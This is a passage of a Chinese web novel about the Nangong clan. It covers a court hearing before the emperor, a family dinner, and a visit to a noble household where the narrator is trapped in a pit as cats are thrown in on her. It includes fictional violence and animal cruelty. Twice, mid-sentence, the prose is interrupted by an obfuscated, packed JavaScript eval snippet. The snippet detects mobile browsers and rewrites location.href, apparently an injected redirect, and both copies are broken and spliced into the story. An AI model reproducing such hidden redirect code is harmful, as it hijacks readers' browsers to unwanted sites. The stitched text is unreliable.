冯坚非常满意他的态度,而娄柱尘则摸摸自己的下巴,注目着王珒。 他提醒他:“除此之外,还得向南宫府致歉,这火毕竟烧在他们家的地方。” 王珒接过暗示,又向叔父跪拜。 “世兄,真心抱歉。家父已然明示,文庙烧毁之处,侯府会清扫干净。另外,赔偿世兄一斗数黄金,做为重建殿宇的补偿。请世兄,不要介怀此事了。” 我正在想叔父会同意麽,叔父却看着我。 “小冰,你觉得是否可行?” 他为什么要问我?是让我来做决定麽。 而王珒已面对我,诚恳说道:“三小姐,请原谅侯府吧。” “小叔叔,”我谨慎又紧张地说道,“你可要保证,不能伤害文庙中的任何人了,包括宏善住持。” 王珒旋即应声。 “那是当然。我和宏善师太,原来是很好的朋友。” 也许只有我注意到了,他的嘴角有微微上扬。大家只能看见王珒跪在大厅里,一副可怜又委屈的样子。 于是副史冯大人开始审问第二项罪状。可是收地与文庙分赃一事,王珒原本就没有否认,所以只是如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15181313|165287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何判决的问题。 这时,有内官禀告,圣上会来听审。于是所有人都站起来。 我再次见到长丰的时候,发觉他威仪了不少,也许是因为不在民间的缘故。他坐着御辇而下,行走如风,而皇城中的人,都对他持着仰视的目光。 在众人的仰视中,他走到厅内,撤掉斗篷,一眼看见了叔父,很开心地笑了。可他没有走过来,也没有喊他师兄,只是依然很开心地说:“好啊,你们惹得什么案子?把南宫府也请来了。” 娄柱尘在他耳旁轻声说了几句,而长丰则漫不经心地听着。 他瞅着面前的两尊火炉,命人搬开了,又命人把地褥也挪走,让王珒结结实实地跪在石地上。 “王卿家,”他说,“你真能惹事。你的老爹捅了个大窟窿,我还没有算账。你倒好,又去找寺庙的麻烦。” 王珒知道,这是他最重要的时刻,他毫不在意地重重地磕在石板上。 “陛下,都是侯府的失职。请陛下惩处。” 可是行刺一事应该是机密,长丰不会堂而皇之地讨论。 “你们审到哪里了?定了罪,就重重地判。” 王珒不敢置声,于是刑曹尹大人就把刚才的事简报了一遍。 尹大人说道:“因为侯府是否纵火一事,证据不够,还需再查。如今,先让侯府安置所有苦主,赔偿南宫府的损失,平息这场风波。至于王公子,审讯完毕后交还巴陵府看押,直到查清事件真相为止。” 长丰扬手招了两位阁老,挑眉问他们:“是这样麽?” 冯坚未说话;娄柱尘思索片刻,才说:“老臣认为,为了地方安宁,最好尽快平息此事。而成安侯府,责无旁贷。” 长丰笑了笑。 “好吧。这把火的事,先放过你。” 王珒重声说道:“谢陛下开恩。” 这时长丰朝叔父丢过来一个眼色。那个眼色仿佛在说,看吧,我就是这样在应付这些人。 于是冯坚重新捡起并地分赃一事,他也是简略地将经过禀告,就等着圣意裁夺。 长丰翻开起账册来,那是我凭借记忆,重新写出来的账册。 “这件事,王卿家倒是认了。” 王珒跪在一旁,以头磕地。 “成安侯府,不敢狡辩。还请陛下重罚。” 长丰一页页地翻过去,口里说道:“你搞了这么多金银田庄,难怪天不怕地不怕。” 在他翻看与讥讽的过程中,王珒始终不吱一声。 长丰斜睨着他:“怎么了?这些财帛,都预备怎么处置?” 王珒却为难地,支吾而语:“禀告圣上,这些年来,成安侯府为了扩编,需要增加不少补给。良田与财帛,都是劳军之物,其实侯府并未挪作已用。” 长丰慢慢变了脸色。 冯坚生气说道:“胡说八道。侯府扩编的军饷,难道不是按季发放的?可曾少了你们一分一里?” 王珒垂下头:“自然不会少。只是…”他略作停顿,“只是军饷发放流程繁琐,等实际发到官兵手中,至少要迟三月。” 他谨小慎微地解释着:“陛下,一人一张口,不可能几个月不吃喝。侯府是直接面对兵民的地方,无计可施,我才把闲置的土地收过来种粮,每桩买卖,都有白纸黑字可查。” 长丰并不啃声,拿眼睛瞅着娄柱尘与冯坚。 娄柱尘连忙上禀:“陛下,每季军饷数目都按时从前桥阁发出,只是到了户曹批核需要时日,另外金库取现也要等待。所以大致会延误三十到四十天。” 冯坚接着说:“陛下,军饷发放的流程都是必要之举。大数目的银钱怎可草率而放行,户曹需维护每月每季收支均衡,才能令金库稳定。” 这两位前桥阁的老滑头,都挺厉害的。 于是王珒立刻服软。 “的确如此,是小民见识短浅。侯府远离京都,如果手上没钱,只能使些笨拙的手段。小民不比几位大人,俯瞰全国,高瞻远瞩。” 他又朝长丰跪拜。 “陛下,账册上的桩桩件件,成安侯府不敢狡辩。请几位大人,按照律例重罚。” 长丰还在细细看着账册。如果说王珒有多么狡黠,那么长丰也不会比他差。 他把账册从第一页翻到最后,又从最后翻回第一页。 而王珒跪在他的脚边,一动也不动。 最后长丰说:“这么看来,是我亏待了你?又叫你们扩编,又不给你们吃饱。” 他这样一说,其他三位大人连忙下跪;而王珒亦感不妙,将头埋得更低。 因为厅中的官员都是跪拜的姿态,叔父和我也不好坐着,都站立一旁。长丰看见了,突然将手上的账册扔过来,正好扔到叔父面前。 “师兄,你看到了吧。这本账是南宫府呈上的,你都看过了吧。” 他突然笑起来:“你说,他们该不该打?” 未及反应,他大步将账册抽回。然后,让我目瞪口呆地,他卷起账本,疯狂地朝地上的人打去。 “叫你们贪得无厌!叫你们巧言令色!” 他是把地上跪着的人,都当作王珒了麽。叔父拼命拉住他,口中只说陛下息怒。 这个场景太诡异了,而跪在地上的臣民们,居然没有一个动弹,听任他的发泄。 过了许久,等到帷幕外的雪花再次飘落的时候,长丰终于发泄完了。他气喘吁吁的,雪飘进他的脖子里,同他浑身灼热的汗混杂在一起;而其他人则被冻坏了。 “陛下,”叔父也只能下跪了,“请息怒。事已至此,不如想想如何惩治,以儆效尤。” 长丰退回座椅深处,目光恢复平静。 “几位卿家起来吧。”他说。 “各位都幸苦了,”他的心情好多了,“王珒还是押回巴陵,就按照刑曹的意思来。至于惩处…” 这时,一直长跪的王珒立刻说:“陛下,小民愿承担一切。家父年老,请手下留情。” 长丰说:“王珒领鞭笞一百,回巴陵理清人命官司。然后,成安侯府迁至邺城,替我看守与南岭的边防。” 这是所有人都没想到的,显然王珒也愣住了,半晌没有接话。 他又朝娄柱尘一挥手。 “巴陵成安侯府邸,指派执书副史娄柱尘前去清点。一月之内清点完毕。” 娄柱尘立刻应声遵旨。 长丰问一直沉默的王珒:“怎么了?王卿家有异议?” 王珒幽深的目光一直落在地面,在片刻的不动声色的权衡利弊之下,他用了平静的声调回答:“成安侯府领旨,谢陛下厚恩。” 于是,这场像戏台上敲锣打鼓的议会结束了。我从偏厅走出来,远处就是前桥阁。从始至终,都没有人问过,文庙损坏了多少,死伤了多少。连我都忘记了,来这里的初衷是什么。 叔父被长丰叫走了,我一人伫立在风雪中。 “三小姐。” 王珒的嗓音我认得,没回头也知道是他。他的两腿一瘸一拐的,正要去受刑。 他递给我一封信。 我打开。这又是份宏善的口供,她承认是受南宫府的怂恿,在试航当天指认成安侯府,并且故意掀起波浪。 他笑道:“今天,看在三小姐的面子上,我没有拿出来。” “是你逼她写的?”我立刻问,又装作很生气,“根本没有的事。” 他没有回答,一副侥幸脱身后,无所谓的样子。 临走的时候,他又叫住我。 “三小姐,你要小心。”他认真地望着我,“你要小心,那位南宫氏的小船王。” 15. 南宫世家(九) 其实小船王是个很安静的人。 朱翼制了一锅羊肉炉,当时大家围坐在雪夜,绵水夫人给他夹了许多菜,他一直浅浅笑着,吃起来同姑娘一样秀气。 他面前的碗筷都摆得很整齐,手弄脏了就要水洗干净。大部分时间在聆听绵水夫人和叔父说话,对于自己的事很少提及。 我在想,他也许生来如此,也许京都以及娄柱尘的府邸将他磨练得更光滑。反正小仓山不喜欢这样的虚礼。 绵水夫人说:“博儿,你吃得太少了。男孩子吃饭,都要囫囵个吞下去的。怀东就是这样。” 看来镇国公府和小仓山一样粗糙。 朱翼在熟人堆里胆子最大,直言不讳:“姑奶奶,他是心思重。肚子里都是心眼儿,当然吃不下东西咯。” 初六我们从宫中回府,南宫博也留下吃饭,叔父便把发生的事说了一遍。 绵水夫人一直在与朱翼讨论药膳的做法,我以为她没有听,哪知等到叔父讲完,她就说:“这事儿要搁在从前,元老头一定打折小子的腿,发到边疆去永不录用。” 叔父就笑笑:“现在也差不多。” 绵水夫人极其嘲弄地闷哼了一声。 南宫博则很斯文地嚼着羊肉,慢慢吐声:“不知道陛下责令成安侯迁至邺城,是为了什么呢?” 朱翼大声说:“我知道。当然防着南蛮了。反正京都容不下王爷爷父子,干脆让他们守住南方。” 我冷笑接话:“防着南蛮?是防着储君回来吧。” “哎…”朱翼突然叹气,“也不知太子殿下还能不能回家。我小时候见过他,他是个乖巧的孩子。” 我心想,要是长丰能娶到世家闺秀,再生几个孩子,那乖巧的太子铁定回不来。 而南宫博,他似乎很惊讶叔父对于朱翼和我的纵容。他低头啜酒,饶有趣味地听着。 “先帝只有储君一个孩子麽?”我有点奇怪。 叔父点头,不过他不愿细谈。 “生过几个。只是,长大成年的只有现在的储君。” 这时绵水夫人感慨而道:“一个人若没有子嗣缘分,也是无奈得紧。先帝是这样,如今他的弟弟也是这样。哎…我最心疼的,还是云罗。” “姑奶奶,”我立刻用高亢的声音盖住呼之欲出的低沉,“人岂有十全之美。姑母是一代贤后,即使没有子嗣,她还被人世代传颂。” “可是,”这时南宫博放下杯盏,有意说道,“这的确是姑母的心病。小时候入宫时,常常见她愁眉不展。真正的痛楚是无法与外人道说的。” 他知道什么是真正的痛楚。 “不过,”他又笑了笑,“幸好叔叔一直会去琼华宫,安慰姑母。” 炉子里跳动的火星蹦得太近,我揉起了眼睛。 朱翼拿出米酒,先是敬给了父亲。然后她走到南宫博的身旁。 “博哥哥,姑母做皇后那会儿多么风光,每天内廷锁事一箩筐,她当然要皱眉头了。我去见她的时候,她可都是开开兴兴的。” 可是南宫博却说:“哪有人能一直开开兴兴呢?只有傻瓜才一直笑。人的一生有多少件事,能真正诚心如意?所以不开心才是人长存的状态。我这样讲,没有对姑母不敬的意思。” 可你就是故意的。 “博哥哥,”我也学着朱翼这么叫他,“那如此说来,你也常常不如意咯?” 他一时没有回答,也许不知如何回答,又持起酒杯。 “可是一点也看不出来,”我继续说,“你藏起喜怒哀乐,不肯示于人前。这样对其他人很不公平呢。” 他笑了出来,眼睛只望着面前的酒杯。 “我听得,都糊涂了。”他轻轻对我说。 “大概哥哥认为,藏起自己的心事就能藏起弱点。”我看着他,他就坐在我身旁,“可你,却毫不留情地利用别人的弱点。” “妹妹一直曲解我的意思。”他摸着杯壁,还在微笑。 “其实叔父很关心小辈。希望哥哥不要心生怨怼。” 他敛起面容,一本正经地对我说:“妹妹想得太多了。叔父是南宫氏的族长,一直是我们小辈敬慕的方向。” 朱翼瞟着我俩窃窃细语,她是不是觉得,我又要抢走她的兄长。她对这位兄长了解多少;而南宫博,他双目上的寒冰是再热的炉火也融化不了的,我瞬间明白了自己的幼稚。 此时屋内,分明是一片久违的热闹祥和之气。我抹去心事,那只是错觉。绵水夫人正殷殷切切地望着我们三个,对叔父说道:“府中好久没有这么热闹了。有孩子们在真好,听着他们说话,仿佛时光又回到年轻的时候。” 叔父朝南宫博示意,让他去给绵水夫人斟酒。我不知道他听到了多少,还是他装作不知。 南宫博很快站起来,乖巧地陪姑奶奶饮酒,又说了许多船坊的趣事,瞬间席面又笑意融融。 在我依然好奇着这位小船王的时候,叔父接到了娄柱尘府上的宴请。帖子是娄夫人下的,那是一张花团锦簇的请帖,还散着浓郁的花香。这位娄夫人会与南宫云罗有几分相像,那是我最好奇的地方。 “阿爹,我们要带小冰去嘛?”朱翼摇晃着请帖。 按照南宫简的性情,他多数要退避人情往来。而且在内宫被拘束了这些天后,他很想一个人惬意待会儿。 “你们作为晚辈都要去,代我向娄夫人问好。”他想了一个借口,“我怕宫中还会传唤,就不去了。” 朱翼哧哧笑起来,笑得我的背脊有点发凉。 于是初七下午,阳光很温暖的时候,我们站在了娄柱尘府邸的门前。不同于前桥阁的质朴,我站在门口,就能感受到金漆的铜门与连绵的红墙所无法遮挡的雍容华贵。我已经穿上了自己最好的衣服,可依然与扑面而来的雍容华贵无法匹配。 我们被引到西面的会客所。这间会客所其实是一整套庭院,里面分有雅乐室,茶室,剑阁,冥思殿,尽头则延绵出一大块草坪,方方正正,由成片的松柏围绕,而正中立有箭靶。因为昨天下了雪,沿碎石路布置的竹枝都覆了层晶莹薄霜,拿手抹去,就能露出翠绿的竹枝。这片竹林养得真好,修建得疏密得宜,远近相依,在凌冽的冬日,依然是浓郁的绿色。我在惊讶娄府奢侈的同时,却无法质疑它的品味。我只好承认,单是西面的会客所,比起小仓山上笨拙的石木屋来,就像东海仙境比之渔村的陋室。 冥思殿的檐廊造得更真美。檐廊的美在于下檐口的弧度,从屋顶顺势而下,到最低处再微微翻起,就如拍打堤岸的海浪,型与神的契合。我啧啧称奇,想知道这是谁的杰作。 而檐廊下的女主人,我不由羡慕起她来了,正站在殿中迎接我们。 “小月,终于把你盼来了。” 娄夫人体态匀称,看得出来,年轻时有耀眼的容颜,即使当下也毫不逊色。她拉起朱翼的手,三言两语未到,眼眶已含了泪水。 如果不是朱翼别扭的表情,在这座唯美的殿宇中,我不禁要对她生了好感,就像对南宫云罗一样。 “小冰,快过来。”朱翼招招手,又对她的姑母说,“别让小冰在那里傻站着。” 我依言走过去。娄夫人身旁还站着一个女孩。 走近了,才发现她脸上的脂粉真厚,并且散发着甜香味。她简短地打量我后,就微笑而道:“我早说过了,兄长的眼光不会差。” 她说完就不啃声了。而朱翼则很隆重地同我介绍,那位娇滴滴的女孩,名叫娄姣姣。她同母亲站在一起,每个人都看出来她们是母女。 “几年未见,表姐生得真美啊。真像一朵娇艳的玫瑰。”她虚情假意地赞美,又拉住我,“对不对,小冰?” 她同她的母亲一样,也散布着发腻的甜香味。玫瑰美在自然之气,顺从花开花落的命运。而人却太贪心。 我瞬间想起她的父亲,还有那间质朴无华,却站在权力顶峰的前桥阁。而他的女儿金簪玉环,纱衣罗裙,带着矫饰的美貌,还有轻蔑的眼神,她脚下的一切,都是属于她的。 我立刻决定不喜欢她,而他们一家也不喜欢我。娄夫人的嘘寒问暖都是对着朱翼的,而娄姣姣,在她第一次正眼瞧我后,对朱翼说:“小月,她是你新买的婢女麽?” 朱翼回头,朝我眨眨眼,然后对娄姣姣说:“对啊…” 见我故作镇定,就压下笑意。她挽起表姐的手,预备去草坪上玩几局弓箭。 “不过她脾气不好,你不要惹她。”她似真似假地警告着。 草地上的弓箭本是给闺阁取乐的,箭头上包着粘土。我在小仓山上拿的是真弓,已然练得很娴熟了,所以这些玩意根本难不倒我。没一会就觉得不好玩,无聊地坐在廊下。廊下蹲着一只瘦弱的小白猫,我抱起来,拿桌上的奶酪喂它,它舔了几下后,就朝我怀里蹭。 我正和小猫玩得起劲,南宫博也来了,他是悄然而至的。他奉命送行娄柱尘的马队,回来后需要同姑母禀报一切细节。娄夫人坐在虎皮铺置的软塌上,看到女儿和朱翼耍弄花拳绣腿。她凝望着朱翼,在这样的场景中,朱翼是很容易吸引注意力的。她在草地上放肆地奔跑,她有朝气勃勃的两颊,以及无拘无束的发丝。 过了一会儿,她突然问我:“三小姐,你觉得小月和姣姣,谁更讨人喜欢些。” 我想起讲两句场面话,还没想好,朱翼又放声大笑。她笑起来极没有仪态,两手叉腰咧开嘴,而绊倒的娄姣姣被她吓坏了。她一把拉起娄姣姣,又举着那幅假弓箭,蹦蹦跳跳地喊道:“再来,再来。” 娄夫人微嗔:“早就听说,兄长溺爱女儿,果然是真的。” 我抬头说:“姑母,自然是表姐讨人喜欢。她多么端庄大方。” 可是娄夫人的脸蛋冷漠了片刻,我以为她听出了揶揄。可她的冷漠不是针对放肆玩耍的朱翼,她回收了眼神,针对着我。我有点奇怪,可她很快就解释了。 “三小姐,小月是本家最后的希望,她再不守规矩,也是兄长唯一的骨血。”这位姑母,她一直喊我三小姐,我想起娄柱尘,他也是这么喊的。他们在拉开与我的距离。是啊,其实他们并不认识我,即使从属一个姓氏,也是亲疏有别。就像叔父对我和对南宫博那样。 而此刻的南宫博双手抱胸,靠在柱子上,他站在离我很近的地方,凝神望着我怀里的小猫。 我发觉娄夫人长了两瓣薄薄的嘴唇,在外人看来,她的嘴生得很好看。于是那两瓣浅薄的嘴唇继续说:“兄长待你亲厚,那是你的福分。可是,你生于三代外的旁系,母亲又是无名无姓之人。这样算下来,老爷与我,做不了你的长辈。” 怀里的小猫嘶叫了一声,我勒住它的脖子了。 这时朱翼在身后大叫:“小冰,过来。过来和我玩,表姐她不玩了。” 而娄姣姣则悻悻走来,她的神情有些生气。可她的怒气也不是针对朱翼,她眼底的阴沉是朝我来的,她手里还握着弓箭。 我本能地把小猫掩在怀里。 看来,娄姣姣已把那句所谓三代外的旁系,母亲是无名之人的理论背熟了,恐怕整个娄柱尘府邸的人都这么想吧,就连路过的家仆也这么想。瞧瞧他们,娄姣姣的手脚又没断,需要四个女侍围着她伺候麽。 而她对我的怒气未消,我很快弄清了怒火的源头在身后。直到南宫博离开我走进她,又笑眯眯地摘掉她头发里夹的树叶,她才忘了我的存在,一心一意缠着她的表哥。 朱翼不知所以然,还跑过来拉我射箭,真是不知好歹。 “小月,”当我用另一种目光注视她的时候,她觉察到了异样,“刚才姑母说,我不配喊她姑母呢。” 她的眼珠子朝上转了半圈,已然猜到了大致。 “你说说看,如果不喊她姑母,那我要喊她什么?” 我并不清楚自己当时的表情,可是娄夫人的表情惊讶极了,而她更惊讶的是朱翼跺着脚,气急败坏地朝我吼:“你要干什么嘛?不要惹事了。” 我面朝众人,认真地说:“姑母不肯认我,自然是我的错了。我需要马上反省。” 娄柱尘的夫人并不知道我接下来会做什么,她半是狐疑半是愤怒,吐了口气,又多叫了几名下人过来保护她。 “小月,我不知道少全在外乡是怎么教养你们的,可是这个丫头,”她指着我,“她也太奇怪了。她是变着法忤逆长辈麽?” 这时娄姣姣坐在远处,女侍们还在为她梳妆打扮。她咬着自己的头发碎屑,拉着她的表哥,诧异地望着我,那时我正在众目睽睽之下,笔直地跪在她母亲面前。 我怀里的小猫不停地颤动,不停舔我的手指,刚才萦绕在脑中疯狂的暴怒褪去了半潮。 “小冰,我们很快就要走了。到了雍州,就看不到这些人了。”朱翼在我耳旁重复这句话。算了,他们人多势众,不要给叔父招惹是非。 而南宫博,是我们这群人中唯一不为所动的。他看着朱翼一直在平复我的心情,就慢吞吞走过来。 “朱翼,晚饭摆在花厅,你要陪姑母吃完这一席哦。” 朱翼点点头。 他又对我说:“三妹妹,还是去南面的小花园逛逛吧,那里风景很美。我可以奉陪。” 而娄姣姣就跟在他身后。他俩并肩站在一起,是挺般配的一对。我心里冷笑。娄姣姣不再以阴沉的目光注目我了,而是换了一种更奇特的表情,她的嘴角还粘着刚才嚼过的发丝。 我摇摇头。 “不用。你们都去花厅吧,我自己去逛逛。” 我刚到小仓的时候,偷听到旁人议论父亲的话,为此发了一场癫狂的脾气。其实经过如何,我已经记不清了,我只知道,在暴怒的状态下,我控制不了自己的行为。后来,再也没有人在我面前议论父亲,或者我家中的任何人了,其实回想起来,那些人并没有说很恶意的话,但是带来的结果,却使小仓山上的很多人都怕我。 在我能够回忆的几截片段里,对自己的行为很懊悔。尤七老爷说,如果将来发现自己有发作的征兆,就去找些开心的事做做。我找到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是谁在洞口,我未发出声,又有两只猫被扔了进来,我只能接住一只,而另一只就摔到了地上。它直接摔在了我的脚边,把原来的小白猫吓坏了。 我尽量靠着洞壁,陷入极度的惊恐之中,朝洞口大喊救命。这时七八只猫被同时扔了进来,简直就像一推带铁爪,到处滚动的肉团,那些猫儿全部惊慌失措,互相踩咬,沿着洞壁疯狂地朝上爬,尔后爬到一半又往下掉。我举手护着眼睛,顾不上身上有多少血淋淋的伤口。 那时洞内一片乌黑,只有猫儿压抑地嘶叫声音,它们像幽灵般的眼珠,怨毒地扫视我,在血腥气和怨毒的注目下,我摸到了藏在腰间的匕首,那是父亲在诀别的时候给我的。 恍然间我又听到一阵笑声,尔后,在惊恐之中令我更绝望的,又有无数的猫儿给扔下来。我不清楚自己发出了怎样的声音,因为唯一的光亮也抹去,洞口正被人封住。在我十几年的人生中,从未如此害怕过,这时有只猫的爪子扣在我的脖子上,而血液黏糊糊的,沿着脖子逶迤而下,在极度惊恐之下,我抽出刀把猫杀了。 随后我就陷入了与猫的搏斗中,只要有猫靠近我,我就挥舞匕首杀了它们,在致命的黑暗里,无论有什么靠近我,我都挥舞着武器。可我本身也没占到便宜,如果侥幸能活下来,估计也是满身伤痕。就在这场绝望的,令人作呕的屠杀中,我突然想到那只小白猫,那只依偎我的小白猫在哪里,可是洞内一片漆黑,我根本找不到。 直到四肢打颤,我再也握不住刀了。而此刻,洞口的封盖被人移走了。我重新看到了月光,以及疑惑的询问声。 “有人在里面麽?” 我发不出声音,可是洞内的血腥气可以回答。 终于,在漫长的等待后,我被一个浓眉大眼,厚嘴唇的少年救了上来。他原来以为洞内掉入了野兽,是用网兜和铁钳把我夹上来的,在看清了我,以及满地的死猫尸体后,不能控制地吐了好久。 后来我就一直坐在地上,大口呼吸着重回人间的空气。浑身剧烈的疼痛袭来,我摸摸自己的脸,我的脸还在不在。 在那位少年大声呼救中,朱翼很快跑来了。 “小冰…”她紧紧抱住我,痛得我打了个颤。于是她立刻松开,我指了指自己,她看了我的脸,我的手脚,还有我的前胸后背。然后她说:“没事的,都是皮肉伤。没事的。” 可她明显被吓坏了,因为她抖得比我更厉害。这时府中的其他人也赶到了,娄夫人为了晚宴细心打扮了一番,她戴了一支纯金造的凤尾钗,精致的琉璃珠串莹莹烁烁,优雅地垂向左侧;而南宫博和娄姣姣,那一对金童玉女站在她右侧。 “我的天啊…”这是她说的第一句话。 在她回神后,想启齿再说什么,已然被朱翼打断了。 朱翼身上还有我的血。 “姑母,出了这件事。你们预备怎么交代?” 而娄夫人惊慌又愤怒:“小月,你在说什么?这究竟是怎么回事?” 朱翼不像刚才那样浑身发抖了,她看了看手上的血,对众人说:“我可是我们家,脾气最好的人。阿爹会怎么样,我就不知道了。姑母,今天我们可是诚心来做客的。阿爹相信你,才让我和小冰来的。” 娄夫人听出所以然,又睨一眼猫和我。 “这是有人布置的陷阱麽?” 这时那位救了我的少年,突然说道:“母亲,这个捕兽笼很久没有打开了。” 我动了一下,眼睛看着他。朱翼示意他过来,而他依然有些怕我,他在我的注目下,畏畏缩缩地挪到我面前。我一把抓住他,与猫搏斗后我的力气还没消失。 “你叫什么名字?”我的声音嘶哑。 他一览无遗的淳朴,不像这个家的人。 “我…我叫娄宝勤…”他结结巴巴,勇敢地回答。 “娄宝勤,”我握住他的手,只是想说这个,“谢谢你救了我。” 如果不是你,我八成死了。眼光掠过少年呆滞的脸庞,他的身后站着南宫博,南宫博用冰冷的眼珠俯视着我,而娄姣姣则一脸嫌恶。 我从她嫌恶的视线里,找到了那只小白猫。它和其它不同颜色的猫儿堆在一起,都被我杀死了。 朱翼用披风裹住我,她的意思是先回家治伤。南宫博俯下身,他靠近我的时候,我哆嗦了一下。 朱翼警觉到了,问我:“怎么了?” 而南宫博立刻说:“妹妹的衣裳都破了,她是冻到了。” 我依然痛惜那只白猫,手指在微微发抖,其实身体上的疼痛不算什么,可我却杀死了曾经卷缩在怀里,依赖我保护的东西。他想说什么呢?我与他四目相对,他已经变成关怀体贴的好哥哥。他指挥下人把死猫都埋掉,又命人去请大夫。 因为依靠着朱翼,我非常疲倦,已然失去大部分的意识。后来发生了什么,我都不知道了。浑浑噩噩之中,南宫博的身影很清楚的呈现,他洗干净双手,把一只白猫活生生地开膛破肚,他拎起动物的内脏,朝我斯文地笑。可我一点办法也没有,我想阻止他,可是双手没有力气。一个手中没有力气的人,怎么去保护自己的东西呢。 16. 南宫世家(十) “想知道我为何一直冷落他?”叔父问我,“你不是一直很好奇麽?” “其实在他还是小孩子的时候,是南宫家的宝贝。他长得精灵可爱,很讨人喜欢。云罗特别喜欢他,每年中秋内宫祭拜月神,总是挑他做五福童子。” 我想象南宫博打扮成五福童子的模样,就像包裹着恶灵的花布娃娃。 “兄长常年外出,孩子就养在雍州。有一年春天,我打猎弄伤了手也要休养,所以就和他亲近了许多。他是个聪慧早熟的孩子,同龄人的游戏引不起他的兴趣。他也擅长洞悉人心,可以觉察成年人内心的秘密。小冰,你觉得自己和他像不像?” 哪里像了?因为我的脸上多处都敷着纱布,不能做愤怒的表情。 “我做过很多年的汉章院主政司,看到有天赋的种苗就想栽培,更何况他是我的同族血亲。那时,我真心想把他培养成继承人。有一天下午,我在书院没有找到他。这孩子一直很自律,不完成作业是不会乱跑的。于是我就到处找他。我在后院几棵高大的榆树下找到了他,他把树上所有的喜鹊窝摘下来了。” 叔父拧起了眉头,回忆这些事情。 “他不止把鸟窝毁了,还把刚出生的雏鸟,一只只地碾死。我找到他的时候,他的鞋底全是鸟毛,血肉模糊。我问他为何要这么做,他竟然告诉我,因为前一天,我曾抱怨过,附近的喜鹊太多了,打扰了午休。那一年,他还不到十岁。” 我觉得自己脸上的伤口又疼了,就慌忙用冰敷,还好是凛冬,镇国公府从后院凿了很多冰给我用。 他说再多也没用,我不打算在三个月之内原谅他。都是叔父不好,昨天他不陪我们去那个鬼地方,害得我差点命也丢了。现在赔礼道歉有什么用,又喂药又喂饭,又对朱翼发脾气。我昨天得到的待遇,多半因为过继给了你。 “而且,你明知道小船王是个疯子,也不提早告诉我。” 他连忙托着我的下巴。 “别说话,脸上的伤要好好养着。” 那年,我还没有明白美貌是一个女人的利器,对自己的脸蛋没那么珍惜。 “叔父,”我口齿不清,摸索着他的手掌。“你要把属于自己的东西,牢牢握在手里。” 这是我来到京都后不久,在混沌中得出的结论。你要把帝王的信任握在手里,把南宫世家的命脉握在手里,要把先祖赋予的权利握在手里。只有这样,才能保护自己,和自己身边的人。 他怎么会不懂呢,还是他不在乎,我心中叹气,只能默默喝着糖水。 没想到,替我主持公道的是绵水夫人。而娄姣姣与她母亲在第二天前来探视我,多半是惧怕她的缘故。 娄夫人分辩道:“会首,姣姣真的没有。她连捕兽笼在哪儿都不知道…” 于是绵水夫人说:“既然如此,那就直接去官衙说理吧。” 娄夫人咬着唇,吐出柔弱的求助。 “会首,谁也丢不起这个人。您要帮帮我们。” 绵水夫人被称作会首,是因为镇国公与西凉抗敌时,京都女眷成立了戎衣会。当年的戎衣会是女眷筹措军需,同舟共济的地方。在战争中,她们抚慰彼此的伤痛,维护家族的荣誉,在京都女眷心中有很高的地位。而绵水夫人作为镇国公的遗孀,一直是戎衣会的会首。 “是我的错,”这位会首突然感慨说,“国公爷死后,再也没有可以期待的事了。你们这些小辈只能活在卑微的泥垢里,成天搞些闺阁倾轧的事。” 这时,娄夫人很轻微地牵扯了嘴角。 “是啊,我们自然都活在卑微的泥垢里。您的骄傲您的宝贝,早就离开这个凡尘俗世了。” 而绵水夫人没有为她的话生气,或者说,这些话本身带来的痛楚更多。 “会首,我只是来看看孩子。”在双方都能感受痛楚的时刻,娄夫人把自己也陷入某种悲伤里。 接下来,便是很长的沉默。而娄姣姣则蠢到去打破这种沉默。 “阿娘,到底什么时候能回去。明天还要进宫呢。” 她瞥了我一眼,又说:“她不是好好的。再说,奇珍异草都赔了,让她好好治就行了。” 娄柱尘的府邸送来很多药材,我冷眼瞧着。我现在是外伤,需要吃人参虫草麽。再说,我最讨厌吃补品了。 我心里好笑。果然绵水夫人命令:“掌嘴。” 听说这位老太太年轻的时候打过仗,有雷厉风行的派头。很快有人提着戒尺出来。 娄姣姣完全不能相信,而她的母亲一把夺过戒尺,苦苦哀求。 “会首,明日姣姣是奉旨入宫,怎么能脸上带伤呢?这是大不敬。” 为什么娄姣姣会奉旨入宫,我心里有点好奇。 这时叔父回来了,他和朱翼去了一趟昨天的事发地,回来的时候带着小船王。 小船王自然摆出一副招人怜爱的嘴脸,他彷徨无措地跪到绵水夫人的脚边,苍白的脸上有个很清楚的掌印。 这时朱翼指着娄姣姣:“就是她,她在满京都搜罗蓝眼猫儿,把它们养在一起,又打又扔的。” 怪不得我能随处捡到一只幼崽,那只可怜的幼崽,好不容易逃出圈禁,又遇到了更倒霉的我。 “小月,你激动什么。”娄姣姣满不在乎地回应,“我养着那些猫儿是全京都都知道的事,养着就是取乐的。过几天你来选一只,带回雍州玩。” 朱翼大概又想起刚才看到场景,她比昨天更生气。 “表姐,几年不见,你的心肠更歹毒了。” 而娄姣姣并不在乎这样的评论,反而她的母亲在苦苦解释。 “兄长,小月,你们误会了。姣姣是好意,这些猫儿养得矜贵,小衡王妃来要,她还不愿意给呢。” 大开眼界,我都不顾上脸上的疼痛感了。而绵水夫人,纵然她是脂粉堆里的翘楚,可对于子孙后辈的堕落,她是无能为力的。那把戒尺有什么用,花儿的根茎早就烂掉了。 我不清楚他们姑侄有多深的感情,但是作为一个来自很远的旁系晚辈,当我与绵水夫人的目光再次相遇时,我明白她的无奈和失望。讨论是谁布下陷阱似乎已经无关紧要。因为娄姣姣根本不在乎,而她的母亲满口冤屈,更有小船王包揽了所有过失。 